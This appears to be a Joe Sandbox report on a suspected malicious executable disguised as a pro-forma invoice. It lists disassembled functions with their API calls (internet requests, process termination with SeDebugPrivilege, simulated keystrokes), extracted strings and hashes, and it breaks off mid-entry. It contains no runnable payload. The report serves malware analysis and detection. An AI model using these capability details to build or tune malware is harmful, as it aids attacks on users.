Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 617172db625a1330e626f206561578d06ea6c59fbff0de08d0b2a7f59ac83e6e
Instruction ID: f7f6a70738f6c0c1b8fbc18cb0153fe01ecaf21ef3a7640360ac1cf2ad9dc7de
Opcode Fuzzy Hash: 617172db625a1330e626f206561578d06ea6c59fbff0de08d0b2a7f59ac83e6e
Instruction Fuzzy Hash: 343180B1540204AFDB10AF64DC88F7E7BA9FB51356F104927F901D6290DBB8A940CFAC

Function 00452C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00452C94

Part of subcall function 004529C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0045D7D1,00000000,00000000,00000000,00000000,?,0045D7F8,00000000,00000007,00000000,?,0045DBF5,00000000), ref: 004529DE
Part of subcall function 004529C8: GetLastError.KERNEL32(00000000,?,0045D7D1,00000000,00000000,00000000,00000000,?,0045D7F8,00000000,00000007,00000000,?,0045DBF5,00000000,00000000), ref: 004529F0

_free.LIBCMT ref: 00452CA0
_free.LIBCMT ref: 00452CAB
_free.LIBCMT ref: 00452CB6
_free.LIBCMT ref: 00452CC1
_free.LIBCMT ref: 00452CCC
_free.LIBCMT ref: 00452CD7
_free.LIBCMT ref: 00452CE2
_free.LIBCMT ref: 00452CED
_free.LIBCMT ref: 00452CFB

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a83211c1219ee6f80178e18ab4e08994b3e6e06ee4f255e394ea159246773c5b
Instruction ID: 64275a250ac089daa09298d036e174a82f593d2d4214a0e375de64f495e5c148
Opcode Fuzzy Hash: a83211c1219ee6f80178e18ab4e08994b3e6e06ee4f255e394ea159246773c5b
Instruction Fuzzy Hash: 1611F6B6200008AFCB02EF55DA42CDD3BA5FF06345F4040ABFE486B323D675EA549B94

Function 00421410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00421459
OleUninitialize.OLE32(?,00000000), ref: 004214F8
UnregisterHotKey.USER32(?), ref: 004216DD
DestroyWindow.USER32(?), ref: 004624B9
FreeLibrary.KERNEL32(?), ref: 0046251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 0046254B

Strings

close all, xrefs: 00421454

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: eec94eb81326397fde4ba599c90529a4e8b1715cbfa7aec564d580ca9973c89e
Instruction ID: 852f70d196d7dd665ae9d2db4bb7c3070d10db517da492d242c17ec88131df72
Opcode Fuzzy Hash: eec94eb81326397fde4ba599c90529a4e8b1715cbfa7aec564d580ca9973c89e
Instruction Fuzzy Hash: 0BD1BF31701222EFCB29EF15D595A29F7A0BF15304F5442AFE44A6B361DB38AC12CF5A

Function 00425BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00425C7A

Part of subcall function 00425D0A: GetClientRect.USER32(?,?), ref: 00425D30
Part of subcall function 00425D0A: GetWindowRect.USER32(?,?), ref: 00425D71
Part of subcall function 00425D0A: ScreenToClient.USER32(?,?), ref: 00425D99

GetDC.USER32 ref: 004646F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00464708
SelectObject.GDI32(00000000,00000000), ref: 00464716
SelectObject.GDI32(00000000,00000000), ref: 0046472B
ReleaseDC.USER32(?,00000000), ref: 00464733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 004647C4

Strings

U, xrefs: 00464693

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: c41baa7ffc0b4014c439ef72a4f69aed51fb8420d04b3457c0f2a02fca43087a
Instruction ID: 302fdee9e09b0e2762ac7deca875f5178239081158cfcaaeec4ff95320d264e3
Opcode Fuzzy Hash: c41baa7ffc0b4014c439ef72a4f69aed51fb8420d04b3457c0f2a02fca43087a
Instruction Fuzzy Hash: 17711230500205DFCF218F64C984ABB7BB5FF8A325F14426BED515A2A6E3389841DF6A

Function 0049359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 004935E4

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

LoadStringW.USER32(004F2390,?,00000FFF,?), ref: 0049360A

Strings

Error: , xrefs: 004936EF
"%s" (%d) : ==> %s:, xrefs: 00493742
"%s" (%d) : ==> %s:%s%s, xrefs: 00493724
Line %d (File "%s"):, xrefs: 0049366B
^ ERROR, xrefs: 004936C9

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: ee2448e89edc492ccc08635a2a039520ce93862588937901aa5ac58f468045c8
Instruction ID: 527e782805d85e0e51c77088e0fe1b70afb222000313e3be558e5f02d001a6e1
Opcode Fuzzy Hash: ee2448e89edc492ccc08635a2a039520ce93862588937901aa5ac58f468045c8
Instruction Fuzzy Hash: 81518E71900219AADF14EFE2DC82EEEBB34AF14349F54412AF505721A1DB381F98CF69

Function 0049C253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0049C272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0049C29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0049C2CA
GetLastError.KERNEL32 ref: 0049C322
SetEvent.KERNEL32(?), ref: 0049C336
InternetCloseHandle.WININET(00000000), ref: 0049C341

Strings

, xrefs: 0049C2BB

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: d7e1436001a6d5fb5ad35b2d789b4e29e430333a7bdc8c6415f5ab3063b91b34
Instruction ID: ed7f78f74fbf3e75a8190e17767271ec81419458a401d3dafb35156d4ee0b2ef
Opcode Fuzzy Hash: d7e1436001a6d5fb5ad35b2d789b4e29e430333a7bdc8c6415f5ab3063b91b34
Instruction Fuzzy Hash: CD314FB1600604AFDB319F658CC8AAB7FFCEB49744B14853EF84692241DB38DD059BA9

Function 0048989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00463AAF,?,?,Bad directive syntax error,004BCC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 004898BC
LoadStringW.USER32(00000000,?,00463AAF,?), ref: 004898C3

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00489987

Strings

Line %d (File "%s"):, xrefs: 0048992D
Error: , xrefs: 00489955
., xrefs: 0048996D
Line %d:, xrefs: 00489912
%s (%d) : ==> %s.: %s %s, xrefs: 004898F1

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: fe8876dc8c5a84a84d7438e748296355024fd40468f9c526a6c0a69cf6be4e72
Instruction ID: f637df02af12420a45f69c2377614a99c3bb43b72ac4807c869ad515684fd28c
Opcode Fuzzy Hash: fe8876dc8c5a84a84d7438e748296355024fd40468f9c526a6c0a69cf6be4e72
Instruction Fuzzy Hash: FF219131D0021AABCF15EF91DC46EEE7735BF18749F08482BF515610A1EB399A28CB19

Function 0048209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 004820AB
GetClassNameW.USER32(00000000,?,00000100), ref: 004820C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 0048214D

Strings

details, xrefs: 004820FB
smallicons, xrefs: 00482115
SHELLDLL_DefView, xrefs: 004820CC
largeicons, xrefs: 004820E1
list, xrefs: 0048212F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: e6f58091979ecf033e962cf35434fc1fb4c8294f95d1565fba6537e71e73ee6c
Instruction ID: 3ac4a1046c0be7d94a72e1a47f1b387fee03c7639d67d71fd27faede330ed03f
Opcode Fuzzy Hash: e6f58091979ecf033e962cf35434fc1fb4c8294f95d1565fba6537e71e73ee6c
Instruction Fuzzy Hash: D411E776684B07BAF60176219D0AEAB779CDB05329B30052BFB04B51D2EEED6802571D

Function 0045CE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0045CEB7
_free.LIBCMT ref: 0045CF22
_free.LIBCMT ref: 0045CF48
_free.LIBCMT ref: 0045CF71
_free.LIBCMT ref: 0045CFA9
_free.LIBCMT ref: 0045CFDA
_free.LIBCMT ref: 0045D01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 0045D09C
_free.LIBCMT ref: 0045D0B5

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: c7bccbd594999ae5e655dfc2f0b4c494233c3be77bb55b440b5f81c75b59ee00
Instruction ID: 8ad60c1b387fee4e17c39097f44f0fb8ae2d78b086d33544aa9cdefaf3503c6d
Opcode Fuzzy Hash: c7bccbd594999ae5e655dfc2f0b4c494233c3be77bb55b440b5f81c75b59ee00
Instruction Fuzzy Hash: 406128B2A04300AFDB31AFB598C166E7B95AF4531AF04416FED40A73C3D6799909C758

Function 00438B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00476890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 004768A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 004768B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 004768D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 004768F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00438874,00000000,00000000,00000000,000000FF,00000000), ref: 00476901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0047691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00438874,00000000,00000000,00000000,000000FF,00000000), ref: 0047692D

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: 0f601acfaa6061a9c049b20821e4aa6e67ead61fe18cdd3420363bc933414090
Instruction ID: 30ac4504e7e308912e206b7875339f4eaef5d5e6437eb66e81e5188214416d69
Opcode Fuzzy Hash: 0f601acfaa6061a9c049b20821e4aa6e67ead61fe18cdd3420363bc933414090
Instruction Fuzzy Hash: 68519DB0600706EFDB20CF25CC91FAABBB6EB48350F10452EF946972A0DB74E951CB58

Function 0049C143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0049C182
GetLastError.KERNEL32 ref: 0049C195
SetEvent.KERNEL32(?), ref: 0049C1A9

Part of subcall function 0049C253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0049C272
Part of subcall function 0049C253: GetLastError.KERNEL32 ref: 0049C322
Part of subcall function 0049C253: SetEvent.KERNEL32(?), ref: 0049C336
Part of subcall function 0049C253: InternetCloseHandle.WININET(00000000), ref: 0049C341

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 86ad46cbe2e9c096baf0467ebef0eec6351842a1e8425fde35ac88ffb85b0859
Instruction ID: 4f94156cae4b42429cddecc7e4845e6bcce2a40b79213275a35fcf35a34ff806
Opcode Fuzzy Hash: 86ad46cbe2e9c096baf0467ebef0eec6351842a1e8425fde35ac88ffb85b0859
Instruction Fuzzy Hash: 0F317871A00601AFDF219FA5DCC4A67BFE9FF58300B14457EF95682610DB38E815AFA8

Function 004825A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00483A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00483A57
Part of subcall function 00483A3D: GetCurrentThreadId.KERNEL32 ref: 00483A5E
Part of subcall function 00483A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,004825B3), ref: 00483A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 004825BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 004825DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 004825DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 004825E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00482601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00482605
MapVirtualKeyW.USER32(00000025,00000000), ref: 0048260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00482623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00482627

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: d76fa3326f87348e075695a197fe14dd4640acfb31eca8e48f74af659bae5e59
Instruction ID: e1f13d1b6f58077a693cde06514521028fb767f63ae67eeb7c9f34f671571d06
Opcode Fuzzy Hash: d76fa3326f87348e075695a197fe14dd4640acfb31eca8e48f74af659bae5e59
Instruction Fuzzy Hash: 6801D470390210BBFB107B699CCAF593F59DB5EB12F100516F358BE0D1C9F224448A6E

Function 00481803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00481449,?,?,00000000), ref: 0048180C
HeapAlloc.KERNEL32(00000000,?,00481449,?,?,00000000), ref: 00481813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00481449,?,?,00000000), ref: 00481828
GetCurrentProcess.KERNEL32(?,00000000,?,00481449,?,?,00000000), ref: 00481830
DuplicateHandle.KERNEL32(00000000,?,00481449,?,?,00000000), ref: 00481833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00481449,?,?,00000000), ref: 00481843
GetCurrentProcess.KERNEL32(00481449,00000000,?,00481449,?,?,00000000), ref: 0048184B
DuplicateHandle.KERNEL32(00000000,?,00481449,?,?,00000000), ref: 0048184E
CreateThread.KERNEL32(00000000,00000000,00481874,00000000,00000000,00000000), ref: 00481868

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: d631d11af02698459253fc460f7877285b269d4375a03e864ac6181dff0ad0d4
Instruction ID: 64ea281f8ce7c83871fcf2c73bae32f62586ac24df9806aa3bbc3d2187c58643
Opcode Fuzzy Hash: d631d11af02698459253fc460f7877285b269d4375a03e864ac6181dff0ad0d4
Instruction Fuzzy Hash: 6701ACB5240304BFE610AFA5DCC9F5B3BACEB89B11F404521FA05EB1A1C6749C008F24

Function 004AA0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 0048D4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 0048D501
Part of subcall function 0048D4DC: Process32FirstW.KERNEL32(00000000,?), ref: 0048D50F
Part of subcall function 0048D4DC: CloseHandle.KERNEL32(00000000), ref: 0048D5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 004AA16D
GetLastError.KERNEL32 ref: 004AA180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004AA1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 004AA268
GetLastError.KERNEL32(00000000), ref: 004AA273
CloseHandle.KERNEL32(00000000), ref: 004AA2C4

Strings

SeDebugPrivilege, xrefs: 004AA18F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: bacc34a075d0d3b0b9a096ca6d126fdd1066f47e7dcd6b54d698e42701bd22df
Instruction ID: 38e199154f0ddf8151c8e44270ed0f7b9cc55614ac8aa6c071f1abdd61b95cbc
Opcode Fuzzy Hash: bacc34a075d0d3b0b9a096ca6d126fdd1066f47e7dcd6b54d698e42701bd22df
Instruction Fuzzy Hash: 5F61D131204242AFD320DF19C4C4F1ABBE0AF55318F54849EE4564BBA3C77AEC55CB9A

Function 004B3886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 004B3925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 004B393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 004B3954
_wcslen.LIBCMT ref: 004B3999
SendMessageW.USER32(?,00001057,00000000,?), ref: 004B39C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 004B39F4

Strings

SysListView32, xrefs: 004B38F7

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: 68fdd5e1b7d5aa3e09c41e29805eee63c25111f0625ac3c6d79af5b1eaf9cf94
Instruction ID: b5f9fb0d0364931a584dee5f01d0116ef9e0577c438f720f19ae05f810a4ce96
Opcode Fuzzy Hash: 68fdd5e1b7d5aa3e09c41e29805eee63c25111f0625ac3c6d79af5b1eaf9cf94
Instruction Fuzzy Hash: 9C41E871A00218ABEF219F65CC85FEB77A9EF08354F10052BF554E7291D7799D80CBA8

Function 0048BC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0048BCFD
IsMenu.USER32(00000000), ref: 0048BD1D
CreatePopupMenu.USER32 ref: 0048BD53
